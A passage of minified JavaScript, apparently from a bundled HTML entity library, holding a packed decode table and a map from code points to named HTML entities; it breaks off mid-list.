㔫㔨m;櫇Ābp㕚㕜;櫕;櫓c̀;acensᇭ㕬㕲㕹㕻㌦pproø㋺urlyeñᇾñᇳƀaes㖂㖈㌛pproø㌚qñ㌗g;晪ڀ123;Edehlmnps㖩㖬㖯ሜ㖲㖴㗀㗉㗕㗚㗟㗨㗭耻¹䂹耻²䂲耻³䂳;櫆Āos㖹㖼t;檾ub;櫘Ā;dሢ㗅ot;櫄sĀou㗏㗒l;柉b;櫗arr;楻ult;櫂ĀEe㗤㗦;櫌;抋lus;櫀ƀeiu㗴㘉㘌tƀ;enሜ㗼㘂qĀ;qሢ㖲eqĀ;q㗧㗤m;櫈Ābp㘑㘓;櫔;櫖ƀAan㘜㘠㘭rr;懙rĀhr㘦㘨ë∮Ā;oਫ਩war;椪lig耻ß䃟௡㙑㙝㙠ዎ㙳㙹\\0㙾㛂\\0\\0\\0\\0\\0㛛㜃\\0㜉㝬\\0\\0\\0㞇ɲ㙖\\0\\0㙛get;挖;䏄rë๟ƀaey㙦㙫㙰ron;䅥dil;䅣;䑂lrec;挕r;쀀𝔱Ȁeiko㚆㚝㚵㚼ǲ㚋\\0㚑eĀ4fኄኁaƀ;sv㚘㚙㚛䎸ym;䏑Ācn㚢㚲kĀas㚨㚮pproø዁im»ኬsðኞĀas㚺㚮ð዁rn耻þ䃾Ǭ̟㛆⋧es膀×;bd㛏㛐㛘䃗Ā;aᤏ㛕r;樱;樰ƀeps㛡㛣㜀á⩍Ȁ;bcf҆㛬㛰㛴ot;挶ir;櫱Ā;o㛹㛼쀀𝕥rk;櫚á㍢rime;怴ƀaip㜏㜒㝤dåቈ΀adempst㜡㝍㝀㝑㝗㝜㝟ngleʀ;dlqr㜰㜱㜶㝀㝂斵own»ᶻeftĀ;e⠀㜾ñम;扜ightĀ;e㊪㝋ñၚot;旬inus;樺lus;樹b;槍ime;樻ezium;揢ƀcht㝲㝽㞁Āry㝷㝻;쀀𝓉;䑆cy;䑛rok;䅧Āio㞋㞎xô᝷headĀlr㞗㞠eftarro÷ࡏightarrow»ཝऀAHabcdfghlmoprstuw㟐㟓㟗㟤㟰㟼㠎㠜㠣㠴㡑㡝㡫㢩㣌㣒㣪㣶ròϭar;楣Ācr㟜㟢ute耻ú䃺òᅐrǣ㟪\\0㟭y;䑞ve;䅭Āiy㟵㟺rc耻û䃻;䑃ƀabh㠃㠆㠋ròᎭlac;䅱aòᏃĀir㠓㠘sht;楾;쀀𝔲rave耻ù䃹š㠧㠱rĀlr㠬㠮»ॗ»ႃlk;斀Āct㠹㡍ɯ㠿\\0\\0㡊rnĀ;e㡅㡆挜r»㡆op;挏ri;旸Āal㡖㡚cr;䅫肻¨͉Āgp㡢㡦on;䅳f;쀀𝕦̀adhlsuᅋ㡸㡽፲㢑㢠ownáᎳarpoonĀlr㢈㢌efô㠭ighô㠯iƀ;hl㢙㢚㢜䏅»ᏺon»㢚parrows;懈ƀcit㢰㣄㣈ɯ㢶\\0\\0㣁rnĀ;e㢼㢽挝r»㢽op;挎ng;䅯ri;旹cr;쀀𝓊ƀdir㣙㣝㣢ot;拰lde;䅩iĀ;f㜰㣨»᠓Āam㣯㣲rò㢨l耻ü䃼angle;榧ހABDacdeflnoprsz㤜㤟㤩㤭㦵㦸㦽㧟㧤㧨㧳㧹㧽㨁㨠ròϷarĀ;v㤦㤧櫨;櫩asèϡĀnr㤲㤷grt;榜΀eknprst㓣㥆㥋㥒㥝㥤㦖appá␕othinçẖƀhir㓫⻈㥙opô⾵Ā;hᎷ㥢ïㆍĀiu㥩㥭gmá㎳Ābp㥲㦄setneqĀ;q㥽㦀쀀⊊︀;쀀⫋︀setneqĀ;q㦏㦒쀀⊋︀;쀀⫌︀Āhr㦛㦟etá㚜iangleĀlr㦪㦯eft»थight»ၑy;䐲ash»ံƀelr㧄㧒㧗ƀ;beⷪ㧋㧏ar;抻q;扚lip;拮Ābt㧜ᑨaòᑩr;쀀𝔳tré㦮suĀbp㧯㧱»ജ»൙pf;쀀𝕧roð໻tré㦴Ācu㨆㨋r;쀀𝓋Ābp㨐㨘nĀEe㦀㨖»㥾nĀEe㦒㨞»㦐igzag;榚΀cefoprs㨶㨻㩖㩛㩔㩡㩪irc;䅵Ādi㩀㩑Ābg㩅㩉ar;機eĀ;qᗺ㩏;扙erp;愘r;쀀𝔴pf;쀀𝕨Ā;eᑹ㩦atèᑹcr;쀀𝓌ૣណ㪇\\0㪋\\0㪐㪛\\0\\0㪝㪨㪫㪯\\0\\0㫃㫎\\0㫘ៜ៟tré៑r;쀀𝔵ĀAa㪔㪗ròσrò৶;䎾ĀAa㪡㪤ròθrò৫að✓is;拻ƀdptឤ㪵㪾Āfl㪺ឩ;쀀𝕩imåឲĀAa㫇㫊ròώròਁĀcq㫒ីr;쀀𝓍Āpt៖㫜ré។Ѐacefiosu㫰㫽㬈㬌㬑㬕㬛㬡cĀuy㫶㫻te耻ý䃽;䑏Āiy㬂㬆rc;䅷;䑋n耻¥䂥r;쀀𝔶cy;䑗pf;쀀𝕪cr;쀀𝓎Ācm㬦㬩y;䑎l耻ÿ䃿Ԁacdefhiosw㭂㭈㭔㭘㭤㭩㭭㭴㭺㮀cute;䅺Āay㭍㭒ron;䅾;䐷ot;䅼Āet㭝㭡træᕟa;䎶r;쀀𝔷cy;䐶grarr;懝pf;쀀𝕫cr;쀀𝓏Ājn㮅㮇;怍j;怌'.split(\"\").map(function(t){return t.charCodeAt(0)}))},6479(t,e){\"use strict\";Object.defineProperty(e,\"__esModule\",{value:!0}),e.default=new Uint16Array(\"Ȁaglq\\t\u0015\u0018\u001bɭ\u000f\\0\\0\u0012p;䀦os;䀧t;䀾t;䀼uot;䀢\".split(\"\").map(function(t){return t.charCodeAt(0)}))},2030(t,e){\"use strict\";function r(t){for(var e=1;e<t.length;e++)t[e][0]+=t[e-1][0]+1;return t}Object.defineProperty(e,\"__esModule\",{value:!0}),e.default=new Map(r([[9,\"&Tab;\"],[0,\"&NewLine;\"],[22,\"&excl;\"],[0,\"&quot;\"],[0,\"&num;\"],[0,\"&dollar;\"],[0,\"&percnt;\"],[0,\"&amp;\"],[0,\"&apos;\"],[0,\"&lpar;\"],[0,\"&rpar;\"],[0,\"&ast;\"],[0,\"&plus;\"],[0,\"&comma;\"],[1,\"&period;\"],[0,\"&sol;\"],[10,\"&colon;\"],[0,\"&semi;\"],[0,{v:\"&lt;\",n:8402,o:\"&nvlt;\"}],[0,{v:\"&equals;\",n:8421,o:\"&bne;\"}],[0,{v:\"&gt;\",n:8402,o:\"&nvgt;\"}],[0,\"&quest;\"],[0,\"&commat;\"],[26,\"&lbrack;\"],[0,\"&bsol;\"],[0,\"&rbrack;\"],[0,\"&Hat;\"],[0,\"&lowbar;\"],[0,\"&DiacriticalGrave;\"],[5,{n:106,o:\"&fjlig;\"}],[20,\"&lbrace;\"],[0,\"&verbar;\"],[0,\"&rbrace;\"],[34,\"&nbsp;\"],[0,\"&iexcl;\"],[0,\"&cent;\"],[0,\"&pound;\"],[0,\"&curren;\"],[0,\"&yen;\"],[0,\"&brvbar;\"],[0,\"&sect;\"],[0,\"&die;\"],[0,\"&copy;\"],[0,\"&ordf;\"],[0,\"&laquo;\"],[0,\"&not;\"],[0,\"&shy;\"],[0,\"&circledR;\"],[0,\"&macr;\"],[0,\"&deg;\"],[0,\"&PlusMinus;\"],[0,\"&sup2;\"],[0,\"&sup3;\"],[0,\"&acute;\"],[0,\"&micro;\"],[0,\"&para;\"],[0,\"&centerdot;\"],[0,\"&cedil;\"],[0,\"&sup1;\"],[0,\"&ordm;\"],[0,\"&raquo;\"],[0,\"&frac14;\"],[0,\"&frac12;\"],[0,\"&frac34;\"],[0,\"&iquest;\"],[0,\"&Agrave;\"],[0,\"&Aacute;\"],[0,\"&Acirc;\"],[0,\"&Atilde;\"],[0,\"&Auml;\"],[0,\"&angst;\"],[0,\"&AElig;\"],[0,\"&Ccedil;\"],[0,\"&Egrave;\"],[0,\"&Eacute;\"],[0,\"&Ecirc;\"],[0,\"&Euml;\"],[0,\"&Igrave;\"],[0,\"&Iacute;\"],[0,\"&Icirc;\"],[0,\"&Iuml;\"],[0,\"&ETH;\"],[0,\"&Ntilde;\"],[0,\"&Ograve;\"],[0,\"&Oacute;\"],[0,\"&Ocirc;\"],[0,\"&Otilde;\"],[0,\"&Ouml;\"],[0,\"&times;\"],[0,\"&Oslash;\"],[0,\"&Ugrave;\"],[0,\"&Uacute;\"],[0,\"&Ucirc;\"],[0,\"&Uuml;\"],[0,\"&Yacute;\"],[0,\"&THORN;\"],[0,\"&szlig;\"],[0,\"&agrave;\"],[0,\"&aacute;\"],[0,\"&acirc;\"],[0,\"&atilde;\"],[0,\"&auml;\"],[0,\"&aring;\"],[0,\"&aelig;\"],[0,\"&ccedil;\"],[0,\"&egrave;\"],[0,\"&eacute;\"],[0,\"&ecirc;\"],[0,\"&euml;\"],[0,\"&igrave;\"],[0,\"&iacute;\"],[0,\"&icirc;\"],[0,\"&iuml;\"],[0,\"&eth;\"],[0,\"&ntilde;\"],[0,\"&ograve;\"],[0,\"&oacute;\"],[0,\"&ocirc;\"],[0,\"&otilde;\"],[0,\"&ouml;\"],[0,\"&div;\"],[0,\"&oslash;\"],[0,\"&ugrave;\"],[0,\"&uacute;\"],[0,\"&ucirc;\"],[0,\"&uuml;\"],[0,\"&yacute;\"],[0,\"&thorn;\"],[0,\"&yuml;\"],[0,\"&Amacr;\"],[0,\"&amacr;\"],[0,\"&Abreve;\"],[0,\"&abreve;\"],[0,\"&Aogon;\"],[0,\"&aogon;\"],[0,\"&Cacute;\"],[0,\"&cacute;\"],[0,\"&Ccirc;\"],[0,\"&ccirc;\"],[0,\"&Cdot;\"],[0,\"&cdot;\"],[0,\"&Ccaron;\"],[0,\"&ccaron;\"],[0,\"&Dcaron;\"],[0,\"&dcaron;\"],[0,\"&Dstrok;\"],[0,\"&dstrok;\"],[0,\"&Emacr;\"],[0,\"&emacr;\"],[2,\"&Edot;\"],[0,\"&edot;\"],[0,\"&Eogon;\"],[0,\"&eogon;\"],[0,\"&Ecaron;\"],[0,\"&ecaron;\"],[0,\"&Gcirc;\"],[0,\"&gcirc;\"],[0,\"&Gbreve;\"],[0,\"&gbreve;\"],[0,\"&Gdot;\"],[0,\"&gdot;\"],[0,\"&Gcedil;\"],[1,\"&Hcirc;\"],[0,\"&hcirc;\"],[0,\"&Hstrok;\"],[0,\"&hstrok;\"],[0,\"&Itilde;\"],[0,\"&itilde;\"],[0,\"&Imacr;\"],[0,\"&imacr;\"],[2,\"&Iogon;\"],[0,\"&iogon;\"],[0,\"&Idot;\"],[0,\"&imath;\"],[0,\"&IJlig;\"],[0,\"&ijlig;\"],[0,\"&Jcirc;\"],[0,\"&jcirc;\"],[0,\"&Kcedil;\"],[0,\"&kcedil;\"],[0,\"&kgreen;\"],[0,\"&Lacute;\"],[0,\"&lacute;\"],[0,\"&Lcedil;\"],[0,\"&lcedil;\"],[0,\"&Lcaron;\"],[0,\"&lcaron;\"],[0,\"&Lmidot;\"],[0,\"&lmidot;\"],[0,\"&Lstrok;\"],[0,\"&lstrok;\"],[0,\"&Nacute;\"],[0,\"&nacute;\"],[0,\"&Ncedil;\"],[0,\"&ncedil;\"],[0,\"&Ncaron;\"],[0,\"&ncaron;\"],[0,\"&napos;\"],[0,\"&ENG;\"],[0,\"&eng;\"],[0,\"&Omacr;\"],[0,\"&omacr;\"],[2,\"&Odblac;\"],[0,\"&odblac;\"],[0,\"&OElig;\"],[0,\"&oelig;\"],[0,\"&Racute;\"],[0,\"&racute;\"],[0,\"&Rcedil;\"],[0,\"&rcedil;\"],[0,\"&Rcaron;\"],[0,\"&rcaron;\"],[0,\"&Sacute;\"],[0,\"&sacute;\"],[0,\"&Scirc;\"],[0,\"&scirc;\"],[0,\"&Scedil;\"],[0,\"&scedil;\"],[0,\"&Scaron;\"],[0,\"&scaron;\"],[0,\"&Tcedil;\"],[0,\"&tcedil;\"],[0,\"&Tcaron;\"],[0,\"&tcaron;\"],[0,\"&Tstrok;\"],[0,\"&tstrok;\"],[0,\"&Utilde;\"],[0,\"&utilde;\"],[0,\"&Umacr;\"],[0,\"&umacr;\"],[0,\"&Ubreve;\"],[0,\"&ubreve;\"],[0,\"&Uring;\"],[0,\"&uring;\"],[0,\"&Udblac;\"],[0,\"&udblac;\"],[0,\"&Uogon;\"],[0,\"&uogon;\"],[0,\"&Wcirc;\"],[0,\"&wcirc;\"],[0,\"&Ycirc;\"],[0,\"&ycirc;\"],[0,\"&Yuml;\"],[0,\"&Zacute;\"],[0,\"&zacute;\"],[0,\"&Zdot;\"],[0,\"&zdot;\"],[0,\"&Zcaron;\"],[0,\"&zcaron;\"],[19,\"&fnof;\"],[34,\"&imped;\"],[63,\"&gacute;\"],[65,\"&jmath;\"],[142,\"&circ;\"],[0,\"&caron;\"],[16,\"&breve;\"],[0,\"&DiacriticalDot;\"],[0,\"&ring;\"],[0,\"&ogon;\"],[0,\"&DiacriticalTilde;\"],[0,\"&dblac;\"],[51,\"&DownBreve;\"],[127,\"&Alpha;\"],[0,\"&Beta;\"],[0,\"&Gamma;\"],[0,\"&Delta;\"],[0,\"&Epsilon;\"],[0,\"&Zeta;\"],[0,\"&Eta;\"],[0,\"&Theta;\"],[0,\"&Iota;\"],[0,\"&Kappa;\"],[0,\"&Lambda;\"],[0,\"&Mu;\"],[0,\"&Nu;\"],[0,\"&Xi;\"],[0,\"&Omicron;\"],[0,\"&Pi;\"],[0,\"&Rho;\"],[1,\"&Sigma;\"],[0,\"&Tau;\"],[0,\"&Upsilon;\"],[0,\"&Phi;\"],[0,\"&Chi;\"],[0,\"&Psi;\"],[0,\"&ohm;\"],[7,\"&alpha;\"],[0,\"&beta;\"],[0,\"&gamma;\"],[0,\"&delta;\"],[0,\"&epsi;\"],[0,\"&zeta;\"],[0,\"&eta;\"],[0,\"&theta;\"],[0,\"&iota;\"],[0,\"&kappa;\"],[0,\"&lambda;\"],[0,\"&mu;\"],[0,\"&nu;\"],[0,\"&xi;\"],[0,\"&omicron;\"],[0,\"&pi;\"],[0,\"&rho;\"],[0,\"&sigmaf;\"],[0,\"&sigma;\"],[0,\"&tau;\"],[0,\"&upsi;\"],[0,\"&phi;\"],[0,\"&chi;\"],[0,\"&psi;\"],[0,\"&omega;\"],[7,\"&thetasym;\"],[0,\"&Upsi;\"],[2,\"&phiv;\"],[0,\"&piv;\"],[5,\"&Gammad;\"],[0,\"&digamma;\"],[18,\"&kappav;\"],[0,\"&rhov;\"],[3,\"&epsiv;\"],[0,\"&backepsilon;\"],[10,\"&IOcy;\"],[0,\"&DJcy;\"],[0,\"&GJcy;\"],[0,\"&Jukcy;\"],[0,\"&DScy;\"],[0,\"&Iukcy;\"],[0,\"&YIcy;\"],[0,\"&Jsercy;\"],[0,\"&LJcy;\"],[0,\"&NJcy;\"],[0,\"&TSHcy;\"],[0,\"&KJcy;\"],[1,\"&Ubrcy;\"],[0,\"&DZcy;\"],[0,\"&Acy;\"],[0,\"&Bcy;\"],[0,\"&Vcy;\"],[0,\"&Gcy;\"],[0,\"&Dcy;\"],[0,\"&IEcy;\"],[0,\"&ZHcy;\"],[0,\"&Zcy;\"],[0,\"&Icy;\"],[0,\"&Jcy;\"],[0,\"&Kcy;\"],[0,\"&Lcy;\"],[0,\"&Mcy;\"],[0,\"&Ncy;\"],[0,\"&Ocy;\"],[0,\"&Pcy;\"],[0,\"&Rcy;\"],[0,\"&Scy;\"],[0,\"&Tcy;\"],[0,\"&Ucy;\"],[0,\"&Fcy;\"],[0,\"&KHcy;\"],[0,\"&TScy;\"],[0,\"&CHcy;\"],[0,\"&SHcy;\"],[0,\"&SHCHcy;\"],[0,\"&HARDcy;\"],[0,\"&Ycy;\"],[0,\"&SOFTcy;\"],[0,\"&Ecy;\"],[0,\"&YUcy;\"],[0,\"&YAcy;\"],[0,\"&acy;\"],[0,\"&bcy;\"],[0,\"&vcy;\"],[0,\"&gcy;\"],[0,\"&dcy;\"],[0,\"&iecy;\"],[0,\"&zhcy;\"],[0,\"&zcy;\"],[0,\"&icy;\"],[0,\"&jcy;\"],[0,\"&kcy;\"],[0,\"&lcy;\"],[0,\"&mcy;\"],[0,\"&ncy;\"],[0,\"&ocy;\"],[0,\"&pcy;\"],[0,\"&rcy;\"],[0,\"&scy;\"],[0,\"&tcy;\"],[0,\"&ucy;\"],[0,\"&fcy;\"],[0,\"&khcy;\"],[0,\"&tscy;\"],[0,\"&chcy;\"],[0,\"&shcy;\"],[0,\"&shchcy;\"],[0,\"&hardcy;\"],[0,\"&ycy;\"],[0,\"&softcy;\"],[0,\"&ecy;\"],[0,\"&yucy;\"],[0,\"&yacy;\"],[1,\"&iocy;\"],[0,\"&djcy;\"],[0,\"&gjcy;\"],[0,\"&jukcy;\"],[0,\"&dscy;\"],[0,\"&iukcy;\"],[0,\"&yicy;\"],[0,\"&jsercy;\"],[0,\"&ljcy;\"],[0,\"&njcy;\"],[0,\"&tshcy;\"],[0,\"&kjcy;\"],[1,\"&ubrcy;\"],[0,\"&dzcy;\"],[7074,\"&ensp;\"],[0,\"&emsp;\"],[0,\"&emsp13;\"],[0,\"&emsp14;\"],[1,\"&numsp;\"],[0,\"&puncsp;\"],[0,\"&ThinSpace;\"],[0,\"&hairsp;\"],[0,\"&NegativeMediumSpace;\"],[0,\"&zwnj;\"],[0,\"&zwj;\"],[0,\"&lrm;\"],[0,\"&rlm;\"],[0,\"&dash;\"],[2,\"&ndash;\"],[0,\"&mdash;\"],[0,\"&horbar;\"],[0,\"&Verbar;\"],[1,\"&lsquo;\"],[0,\"&CloseCurlyQuote;\"],[0,\"&lsquor;\"],[1,\"&ldquo;\"],[0,\"&CloseCurlyDoubleQuote;\"],[0,\"&bdquo;\"],[1,\"&dagger;\"],[0,\"&Dagger;\"],[0,\"&bull;\"],[2,\"&nldr;\"],[0,\"&hellip;\"],[9,\"&permil;\"],[0,\"&pertenk;\"],[0,\"&prime;\"],[0,\"&Prime;\"],[0,\"&tprime;\"],[0,\"&backprime;\"],[3,\"&lsaquo;\"],[0,\"&rsaquo;\"],[3,\"&oline;\"],[2,\"&caret;\"],[1,\"&hybull;\"],[0,\"&frasl;\"],[10,\"&bsemi;\"],[7,\"&qprime;\"],[7,{v:\"&MediumSpace;\",n:8202,o:\"&ThickSpace;\"}],[0,\"&NoBreak;\"],[0,\"&af;\"],[0,\"&InvisibleTimes;\"],[0,\"&ic;\"],[72,\"&euro;\"],[46,\"&tdot;\"],[0,\"&DotDot;\"],[37,\"&complexes;\"],[2,\"&incare;\"],[4,\"&gscr;\"],[0,\"&hamilt;\"],[0,\"&Hfr;\"],[0,\"&Hopf;\"],[0,\"&planckh;\"],[0,\"&hbar;\"],[0,\"&imagline;\"],[0,\"&Ifr;\"],[0,\"&lagran;\"],[0,\"&ell;\"],[1,\"&naturals;\"],[0,\"&numero;\"],[0,\"&copysr;\"],[0,\"&weierp;\"],[0,\"&Popf;\"],[0,\"&Qopf;\"],[0,\"&realine;\"],[0,\"&real;\"],[0,\"&reals;\"],[0,\"&rx;\"],[3,\"&trade;\"],[1,\"&integers;\"],[2,\"&mho;\"],[0,\"&zeetrf;\"],[0,\"&iiota;\"],[2,\"&bernou;\"],[0,\"&Cayleys;\"],[1,\"&escr;\"],[0,\"&Escr;\"],[0,\"&Fouriertrf;\"],[1,\"&Mellintrf;\"],[0,\"&order;\"],[0,\"&alefsym;\"],[0,\"&beth;\"],[0,\"&gimel;\"],[0,\"&daleth;\"],[12,\"&CapitalDifferentialD;\"],[0,\"&dd;\"],[0,\"&ee;\"],[0,\"&ii;\"],[10,\"&frac13;\"],[0,\"&frac23;\"],[0,\"&frac15;\"],[0,\"&frac25;\"],[0,\"&frac35;\"],[0,\"&frac45;\"],[0,\"&frac16;\"],[0,\"&frac56;\"],[0,\"&frac18;\"],[0,\"&frac38;\"],[0,\"&frac58;\"],[0,\"&frac78;\"],[49,\"&larr;\"],[0,\"&ShortUpArrow;\"],[0,\"&rarr;\"],[0,\"&darr;\"],[0,\"&harr;\"],[0,\"&updownarrow;\"],[0,\"&nwarr;\"],[0,\"&nearr;\"],[0,\"&LowerRightArrow;\"],[0,\"&LowerLeftArrow;\"],[0,\"&nlarr;\"],[0,\"&nrarr;\"],[1,{v:\"&rarrw;\",n:824,o:\"&nrarrw;\"}],[0,\"&Larr;\"],[0,\"&Uarr;\"],[0,\"&Rarr;\"],[0,\"&Darr;\"],[0,\"&larrtl;\"],[0,\"&rarrtl;\"],[0,\"&LeftTeeArrow;\"],[0,\"&mapstoup;\"],[0,\"&map;\"],[0,\"&DownTeeArrow;\"],[1,\"&hookleftarrow;\"],[0,\"&hookrightarrow;\"],[0,\"&larrlp;\"],[0,\"&looparrowright;\"],[0,\"&harrw;\"],[0,\"&nharr;\"],[1,\"&lsh;\"],[0,\"&rsh;\"],[0,\"&ldsh;\"],[0,\"&rdsh;\"],[1,\"&crarr;\"],[0,\"&cularr;\"],[0,\"&curarr;\"],[2,\"&circlearrowleft;\"],[0,\"&circlearrowright;\"],[0,\"&leftharpoonup;\"],[0,\"&DownLeftVector;\"],[0,\"&RightUpVector;\"],[0,\"&LeftUpVector;\"],[0,\"&rharu;\"],[0,\"&DownRightVector;\"],[0,\"&dharr;\"],[0,\"&dharl;\"],[0,\"&RightArrowLeftArrow;\"],[0,\"&udarr;\"],[0,\"&LeftArrowRightArrow;\"],[0,\"&leftleftarrows;\"],[0,\"&upuparrows;\"],[0,\"&rightrightarrows;\"],[0,\"&ddarr;\"],[0,\"&leftrightharpoons;\"],[0,\"&Equilibrium;\"],[0,\"&nlArr;\"],[0,\"&nhArr;\"],[0,\"&nrArr;\"],[0,\"&DoubleLeftArrow;\"],[0,\"&DoubleUpArrow;\"],[0,\"&DoubleRightArrow;\"],[0,\"&dArr;\"],[0,\"&DoubleLeftRightArrow;\"],[0,\"&DoubleUpDownArrow;\"],[0,\"&nwArr;\"],[0,\"&neArr;\"],[0,\"&seArr;\"],[0,\"&swArr;\"],[0,\"&lAarr;\"],[0,\"&rAarr;\"],[1,\"&zigrarr;\"],[6,\"&larrb;\"],[0,\"&rarrb;\"],[15,\"&DownArrowUpArrow;\"],[7,\"&loarr;\"],[0,\"&roarr;\"],[0,\"&hoarr;\"],[0,\"&forall;\"],[0,\"&comp;\"],[0,{v:\"&part;\",n:824,o:\"&npart;\"}],[0,\"&exist;\"],[0,\"&nexist;\"],[0,\"&empty;\"],[1,\"&Del;\"],[0,\"&Element;\"],[0,\"&NotElement;\"],[1,\"&ni;\"],[0,\"&notni;\"],[2,\"&prod;\"],[0,\"&coprod;\"],[0,\"&sum;\"],[0,\"&minus;\"],[0,\"&MinusPlus;\"],[0,\"&dotplus;\"],[1,\"&Backslash;\"],[0,\"&lowast;\"],[0,\"&compfn;\"],[1,\"&radic;\"],[2,\"&prop;\"],[0,\"&infin;\"],[0,\"&angrt;\"],[0,{v:\"&ang;\",n:8402,o:\"&nang;\"}],[0,\"&angmsd;\"],[0,\"&angsph;\"],[0,\"&mid;\"],[0,\"&nmid;\"],[0,\"&DoubleVerticalBar;\"],[0,\"&NotDoubleVerticalBar;\"],[0,\"&and;\"],[0,\"&or;\"],[0,{v:\"&cap;\",n:65024,o:\"&caps;\"}],[0,{v:\"&cup;\",n:65024,o:\"&cups;\"}],[0,\"&int;\"],[0,\"&Int;\"],[0,\"&iiint;\"],[0,\"&conint;\"],[0,\"&Conint;\"],[0,\"&Cconint;\"],[0,\"&cwint;\"],[0,\"&ClockwiseContourIntegral;\"],[0,\"&awconint;\"],[0,\"&there4;\"],[0,\"&becaus;\"],[0,\"&ratio;\"],[0,\"&Colon;\"],[0,\"&dotminus;\"],[1,\"&mDDot;\"],[0,\"&homtht;\"],[0,{v:\"&sim;\",n:8402,o:\"&nvsim;\"}],[0,{v:\"&backsim;\",n:817,o:\"&race;\"}],[0,{v:\"&ac;\",n:819,o:\"&acE;\"}],[0,\"&acd;\"],[0,\"&VerticalTilde;\"],[0,\"&NotTilde;\"],[0,{v:\"&eqsim;\",n:824,o:\"&nesim;\"}],[0,\"&sime;\"],[0,\"&NotTildeEqual;\"],[0,\"&cong;\"],[0,\"&simne;\"],[0,\"&ncong;\"],[0,\"&ap;\"],[0,\"&nap;\"],[0,\"&ape;\"],[0,{v:\"&apid;\",n:824,o:\"&napid;\"}],[0,\"&backcong;\"],[0,{v:\"&asympeq;\",n:8402,o:\"&nvap;\"}],[0,{v:\"&bump;\",n:824,o:\"&nbump;\"}],[0,{v:\"&bumpe;\",n:824,o:\"&nbumpe;\"}],[0,{v:\"&doteq;\",n:824,o:\"&nedot;\"}],[0,\"&doteqdot;\"],[0,\"&efDot;\"],[0,\"&erDot;\"],[0,\"&Assign;\"],[0,\"&ecolon;\"],[0,\"&ecir;\"],[0,\"&circeq;\"],[1,\"&wedgeq;\"],[0,\"&veeeq;\"],[1,\"&triangleq;\"],[2,\"&equest;\"],[0,\"&ne;\"],[0,{v:\"&Congruent;\",n:8421,o:\"&bnequiv;\"}],[0,\"&nequiv;\"],[1,{v:\"&le;\",n:8402,o:\"&nvle;\"}],[0,{v:\"&ge;\",n:8402,o:\"&nvge;\"}],[0,{v:\"&lE;\",n:824,o:\"&nlE;\"}],[0,{v:\"&gE;\",n:824,o:\"&ngE;\"}],[0,{v:\"&lnE;\",n:65024,o:\"&lvertneqq;\"}],[0,{v:\"&gnE;\",n:65024,o:\"&gvertneqq;\"}],[0,{v:\"&ll;\",n:new Map(r([[824,\"&nLtv;\"],[7577,\"&nLt;\"]]))}],[0,{v:\"&gg;\",n:new Map(r([[824,\"&nGtv;\"],[7577,\"&nGt;\"]]))}],[0,\"&between;\"],[0,\"&NotCupCap;\"],[0,\"&nless;\"],[0,\"&ngt;\"],[0,\"&nle;\"],[0,\"&nge;\"],[0,\"&lesssim;\"],[0,\"&GreaterTilde;\"],[0,\"&nlsim;\"],[0,\"&ngsim;\"],[0,\"&LessGreater;\"],[0,\"&gl;\"],[0,\"&NotLessGreater;\"],[0,\"&NotGreaterLess;\"],[0,\"&pr;\"],[0,\"&sc;\"],[0,\"&prcue;\"],[0,\"&sccue;\"],[0,\"&PrecedesTilde;\"],[0,{v:\"&scsim;\",n:824,o:\"&NotSucceedsTilde;\"}],[0,\"&NotPrecedes;\"],[0,\"&NotSucceeds;\"],[0,{v:\"&sub;\",n:8402,o:\"&NotSubset;\"}],[0,{v:\"&sup;\",n:8402,o:\"&NotSuperset;\"}],[0,\"&nsub;\"],[0,\"&nsup;\"],[0,\"&sube;\"],[0,\"&supe;\"],[0,\"&NotSubsetEqual;\"],[0,\"&NotSupersetEqual;\"],[0,{v:\"&subne;\",n:65024,o:\"&varsubsetneq;\"}],[0,{v:\"&supne;\",n:65024,o:\"&varsupsetneq;\"}],[1,\"&cupdot;\"],[0,\"&UnionPlus;\"],[0,{v:\"&sqsub;\",n:824,o:\"&NotSquareSubset;\"}],[0,{v:\"&sqsup;\",n:824,o:\"&NotSquareSuperset;\"}],[0,\"&sqsube;\"],[0,\"&sqsupe;\"],[0,{v:\"&sqcap;\",n:65024,o:\"&sqcaps;\"}],[0,{v:\"&sqcup;\",n:65024,o:\"&sqcups;\"}],[0,\"&CirclePlus;\"],[0,\"&CircleMinus;\"],[0,\"&CircleTimes;\"],[0,\"&osol;\"],[0,\"&CircleDot;\"],[0,\"&circledcirc;\"],[0,\"&circledast;\"],[1,\"&circleddash;\"],[0,\"&boxplus;\"],[0,\"&boxminus;\"],[0,\"&boxtimes;\"],[0,\"&dotsquare;\"],[0,\"&RightTee;\"],[0,\"&dashv;\"],[0,\"&DownTee;\"],[0,\"&bot;\"],[1,\"&models;\"],[0,\"&DoubleRightTee;\"],[0,\"&Vdash;\"],[0,\"&Vvdash;\"],[0,\"&VDash;\"],[0,\"&nvdash;\"],[0,\"&nvDash;\"],[0,\"&nVdash;\"],[0,\"&nVDash;\"],[0,\"&prurel;\"],[1,\"&LeftTriangle;\"],[0,\"&RightTriangle;\"],[0,{v:\"&LeftTriangleEqual;\",n:8402,o:\"&nvltrie;\"}],[0,{v:\"&RightTriangleEqual;\",n:8402,o:\"&nvrtrie;\"}],[0,\"&origof;\"],[0,\"&imof;\"],[0,\"&multimap;\"],[0,\"&hercon;\"],[0,\"&intcal;\"],[0,\"&veebar;\"],[1,\"&barvee;\"],[0,\"&angrtvb;\"],[0,\"&lrtri;\"],[0,\"&bigwedge;\"],[0,\"&bigvee;\"],[0,\"&bigcap;\"],[0,\"&bigcup;\"],[0,\"&diam;\"],[0,\"&sdot;\"],[0,\"&sstarf;\"],[0,\"&divideontimes;\"],[0,\"&bowtie;\"],[0,\"&ltimes;\"],[0,\"&rtimes;\"],[0,\"&leftthreetimes;\"],[0,\"&rightthreetimes;\"],[0,\"&backsimeq;\"],[0,\"&curlyvee;\"],[0,\"&curlywedge;\"],[0,\"&Sub;\"],[0,\"&Sup;\"],[0,\"&Cap;\"],[0,\"&Cup;\"],[0,\"&fork;\"],[0,\"&epar;\"],[0,\"&lessdot;\"],[0,\"&gtdot;\"],[0,{v:\"&Ll;\",n:824,o:\"&nLl;\"}],[0,{v:\"&Gg;\",n:824,o:\"&nGg;\"}],[0,{v:\"&leg;\",n:65024,o:\"&lesg;\"}],[0,{v:\"&gel;\",n:65024,o:\"&gesl;\"}],[2,\"&cuepr;\"],[0,\"&cuesc;\"],[0,\"&NotPrecedesSlantEqual;\"],[0,\"&NotSucceedsSlantEqual;\"],[0,\"&NotSquareSubsetEqual;\"],[0,\"&NotSquareSupersetEqual;\"],[2,\"&lnsim;\"],[0,\"&gnsim;\"],[0,\"&precnsim;\"],[0,\"&scnsim;\"],[0,\"&nltri;\"],[0,\"&NotRightTriangle;\"],[0,\"&nltrie